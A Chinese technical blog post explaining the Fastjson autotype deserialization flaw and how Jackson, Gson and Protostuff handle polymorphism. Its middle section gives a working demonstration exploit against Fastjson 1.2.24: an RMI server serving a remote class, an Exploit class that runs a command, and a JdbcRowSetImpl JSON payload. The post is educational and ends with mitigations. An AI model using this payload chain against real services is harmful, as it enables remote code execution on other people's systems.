关于反序列化漏洞的一点认识

2,357 阅读7分钟

前言

前段时间FastJson被曝高危漏洞,其实之前也被报过类似的漏洞,只是项目中没有使用,所以一直也没怎么关注;这一次刚好有项目用到FastJson,打算对其做一个分析。

漏洞背景

2020年05月28日, 360CERT监测发现业内安全厂商发布了[Fastjson远程代码执行漏洞](https://cert.360.cn/warning/detail?id=af8fea5f165df6198033de208983e2ad)的风险通告,漏洞等级:高危Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。 Fastjson存在远程代码执行漏洞autotype开关的限制可以被绕过,链式的反序列化攻击者精心构造反序列化利用链,最终达成远程命令执行的后果。此漏洞本身无法绕过Fastjson的黑名单限制,需要配合不在黑名单中的反序列化利用链才能完成完整的漏洞利用。

漏洞的根本原因还是Fastjson的autotype功能,此功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行;

AutoType功能

问题描述

我们在使用各种Json序列化工具的时候,其实在序列化之后很多情况是没有包含任何类信息的,比如这样:

{"fruit":{"name":"apple"},"mode":"online"}

我们在使用的时候,也只需要一般有两种方式:直接转为一个JSONObject,然后通过key值取对应的数据;另外一种就是指定需要转换的对象:

public static <T> T parseObject(String text, Class<T> clazz)

这样可以直接拿到我需要的类对象,很是方便;但是很多业务中会有多态的需求,比如像下面这样:

//水果接口类
public interface Fruit {
}

//通过指定的方式购买水果
public class Buy {
    private String mode;
    private Fruit fruit;
}

//具体的水果类--苹果
public class Apple implements Fruit {
    private String name;
}

这种情况下,如果只是序列化为没有类信息的json字符串,那么其中的Fruit就无法识别具体的类:

 String jsonString = "{"fruit":{"name":"apple"},"mode":"online"}";
 Buy newBuy = JSON.parseObject(jsonString, Buy.class);
 Apple newApple = (Apple) newBuy.getFruit();

这种情况下直接强转直接报ClassCastException异常;

AutoType引入

为此FastJson引入了autotype功能,使用也很简单:

Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);

在序列化的时候指定SerializerFeature.WriteClassName即可,这样序列化之后的json字符串如下所示:

{"@type":"com.fastjson.Buy","fruit":{"@type":"com.fastjson.impl.Apple","name":"apple"},"mode":"online"}

可以看到在json字符串中包含了类信息,这样在反序列化的时候就可以转成具体的实现类;但是就是因为在json字符串中包含了类信息,给了黑客攻击的可能;

模拟攻击

现在的版本FastJson做了大量的防御手段包括黑名单,白名单等,为了模拟方便,了解问题,我们这边使用FastJson比较早的版本:1.2.24; 在模拟之前我们需要了解一下获取到类信息之后是如何把属性设置到类对象中的,它是通过setXxx()来给类对象设值的; 一个常见的攻击类是:com.sun.rowset.JdbcRowSetImpl,此类的dataSourceName支持传入一个rmi的源,然后可以设置autocommit自动连接,执行rmi中的方法; 这里首选需要准备一个RMI类:

public class RMIServer {
    public static void main(String argv[]) {
         Registry registry = LocateRegistry.createRegistry(1099);
         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
         registry.bind("Exploit", new ReferenceWrapper(reference));
    }
}

这里的Reference指定了类名,已经远程地址,可以从远程服务器上加载class文件来实例化;准备好Exploit类,编译成class文件,然后把他放在本地的http服务器中即可;

public class Exploit {
    public Exploit() {
         Runtime.getRuntime().exec("calc");
    }
}

准备好这些之后,下面就需要模拟Json字符串了:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

fastjson在反序化的时候,先执行setDataSourceName方法,然后setAutoCommit的时候会自动连接设置的dataSourceName属性,最终获取到Exploit类执行其中的相关操作,以上的程序会在本地调起计算器; 注:以上起作用只会在我们使用没有指定具体类情况下:

JSON.parseObject(jsonString);
JSON.parse(jsonString);

如果指定了具体的类,会直接报类型错误:

com.alibaba.fastjson.JSONException: type not match

如何避免

1.不使用autotype

如果你没有使用多态的需求,没必要使用autotype,没必要使用SerializerFeature.WriteClassName特性,直接关闭autotype功能;或者开启安全模式;

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
ParserConfig.getGlobalInstance().setSafeMode(true);

2.指定具体类

在反序列化的时候,我们尽量指定具体类:

public static <T> T parseObject(String text, Class<T> clazz)

这样在反序列化的时候,其实是会和你指定的类型就行对比的,看是否匹配;

序列化工具

序列化工具有很多包括:Jackson,Gson,Protostuff等等;同样他们也会遇到类似的问题,多态如何处理,下面分别看看这几种工具是如何处理的;

1.Jackson

Jackson本身提供了多态的支持,但是在序列化的时候并没有指定具体的类名,而是指定一个编号,类似如下:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
        @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {
}

指定了一个编号属性为type,当type为a的时候对应Apple类,b对应Banana类型;这样在序列化的时候json字符串如下所示:

{"mode":"online","fruit":{"type":"b","name":"banana"}}

这样的好处就是在序列化的时候其实没有写入真正的类名,通过一个映射的方式去指定;坏处就是需要在使用的地方进行映射配置比较麻烦;

2.Gson

Gson对多态的支持是在gson-extras扩展包里面支持的,Gson使用的方式其实和Jackson有点类似,也是通过设置编号进行映射:

RuntimeTypeAdapterFactory<Fruit> typeFactory = RuntimeTypeAdapterFactory.of(Fruit.class, "id").registerSubtype(Apple.class, "apple").registerSubtype(Banana.class, "banana");
Gson gson = new GsonBuilder().registerTypeAdapterFactory(typeFactory).create();

表示id为apple对应Apple类型,id为banana对应Banana类型;序列化后的json字符串如下所示:

{"mode":"online","fruit":{"id":"apple","name":"apple"}}

3.Protostuff

Protostuff是直接序列化成二进制的,多态的情况下会把类型直接写入:

Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);

Schema<Buy> schema = RuntimeSchema.getSchema(Buy.class);
LinkedBuffer buffer = LinkedBuffer.allocate(1024);
byte[] data = ProtostuffIOUtil.toByteArray(buy, schema, buffer);

这里同样使用上面的类,序列化之后打印二进制:

[10, 6, 111, 110, 108, 105, 110, 101, 19, -6, 7, 23, **99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101**, 10, 5, 97, 112, 112, 108, 101, 20]

为了方便知道里面是否有具体的Apple类,可以输出com.protobuf.impl.Apple二进制:

[99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101]

重叠的部分正是Apple类描述,同FastJson把具体的类信息存放到了序列化信息中,那这样会不会也和FastJson一样,存在被攻击的可能那;但其实我们在使用Protostuff的时候往往是需要强类型绑定的,如下所示:

Schema<Buy> schema2 = RuntimeSchema.getSchema(Buy.class);
Buy newBuy = schema2.newMessage();
ProtostuffIOUtil.mergeFrom(data, newBuy, schema2);

就像我们在使用FastJson反序列化的时候强制指定clazz,也能避免攻击;

总结

这种攻击方式,其实和SQL注入攻击挺像的,我们的程序指定了一个入口,对输入的数据没有限制,或者说没有足够的限制;而程序在拿到数据之后也没有足够的校验,或者说提供了无需校验就能被加载执行的途径,比如FastJosn里面的**JSON.parse(jsonstr)**方式,无需一个明确的对应类;SQL直接进行拼接等;最后想说的是一个工具只有被用的越多才会越能发现里面的问题,这样才能使我们的工具更加成熟,Fastjson会越来越强大。

代码地址

Github